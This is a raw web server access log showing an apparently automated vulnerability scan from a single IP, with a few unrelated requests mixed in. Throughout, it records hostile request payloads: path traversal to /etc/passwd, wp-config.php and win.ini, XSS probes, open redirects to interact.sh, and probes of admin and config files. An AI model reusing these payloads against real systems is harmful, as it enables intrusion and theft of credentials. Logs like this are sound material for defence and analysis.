[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /behat.yml.dist HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebConsole/api/security/auth/loginServers HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.angular.json HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?278dm0=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/tmui/login/welcome.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/weathermap/editor.php?plug=0&mapname=poc.conf&action=set_map_properties&param&param2&debug=existing&node_name&node_x&node_y&node_new_name&node_label&node_infourl&node_hover&node_iconfilename=--NONE--&link_name&link_bandwidth_in&link_bandwidth_out&link_target&link_width&link_infourl&link_hover&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7 HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.asp HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /containers/ HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goform/formping HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phinx.yml HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /calendarix/admin/cal_login.php HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/setup HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/pre_login_agreement HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /camunda/app/welcome/default/ HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/welcome/default/ HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?page=step_1 HTTP/1.1" 3426
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/athlon-manage-calameo-publications/thickbox_content.php?attachment_id=id%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%26 HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/user/login HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appliance/login.ns HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Cargo.lock HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cas/login HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Cargo.toml HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webUI/userHome.do HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event1&event2&event3&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/get-users?p=123&pageSize=123 HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitbucket/repos?visibility=public HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cassia/login HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /axis2-web/HappyAxis.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/sys/debug HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resin-doc/viewfile/?file=/WEB-INF/resin-web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /restrito/login/sub/ HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /centreon/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/awstats.pl HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/index/login?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/Save.cgi?cgi=PING HTTP/1.1" 199
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/3 HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test/test.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/adminer/adminer.php HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /archibus/schema/ab-core/views/sign-in/ab-sign-in.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/printenv.pl HTTP/1.1" 199
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /GNRemote.dll?GNFunction=LoginServer&decorator=text_wrap&frombrowser=esl HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.war HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /main/calendar/agenda_list.php?type=xss\"+onmouseover=alert(document.domain)+\" HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tplus/SM/DTS/DownloadProxy.aspx?preload=1&Path=../../Web.Config HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/session HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logon/LogonPoint/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /GNRemote.dll?GNFunction=LoginServer&decorator=text_wrap&frombrowser=esl HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/cherry-plugin/admin/import-export/download-content.php?file=../../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tplus/ajaxpro/RecoverPassword,App_Web_recoverpassword.aspx.cdcab7d2.ashx?method=iOwr8T HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927560049 HTTP/1.1" -
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apple-app-site-association HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /check_mk/login.py HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cb_install/ HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/jscript?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.php HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/?next=%2F HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.php HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/3 HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webstats/awstats.pl HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /happyaxis.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vpn/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.circleci/ssh-config HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clientaccesspolicy.xml HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tplus/img/login/380DIFBHyejjL7rCScmpfdJyOAY.jpg HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //lists/masonry/index.html?reloaded&sort=date_asc&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/auth/tokens/ HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /commpilot/servlet/Login HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.circleci/config.yml HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOE+/logon.html HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__clockwork/latest HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.tar HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /camunda/app/welcome/default/ HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/tm/util/bash HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /suite-auth/login HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%20../web-inf/web.xml HTTP/1.1" 199
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/setup.html HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CGI/Java/Serviceability?adapter=device.statistics.configuration HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /build/build.properties HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Citrix/XenApp/auth/login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslvpn/Login/Login HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /calendar/admin/cal_login.php HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mgmt/tm/sys/management-ip HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tips/tipsLogin.action HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fmi/webd/ HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /orion/login?siteurl=meet HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.css?path=/etc&p.hits=full&p.limit=-1 HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webacs/pages/common/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide/administrator/images/componentutilslogin.jpg HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?query=SHOW%20DATABASES HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/sdcall/Login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cuadmin/home.do HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.vm HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/weathermap/configs/poc.conf HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///bin///querybuilder.json.servlet HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/church-admin/display/download.php?key=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///var HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/images/MyVue/MyVueHelp.png HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CACHE/sdesktop/install/start.htm HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /git HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /chronos.wsc/asparamlogin.html HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ccmadmin/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__clockwork/app HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CACHE/sdesktop/data.xml HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pingmessages HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/eureka_info HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?278dm0=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cacti/ HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?{alert(document.domain)} HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /my.policy HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cxwebclient/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /main/install/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslvpn/Login HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cloud-config.yml HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cu.html HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /desktop/container/landing.jsp?locale=en_US HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phinx.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /atutor/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event3=352513&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/ HTTP/1.1" 196
[09/Jan/2026:10:54:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logon/LogonPoint/custom.html HTTP/1.1" 196
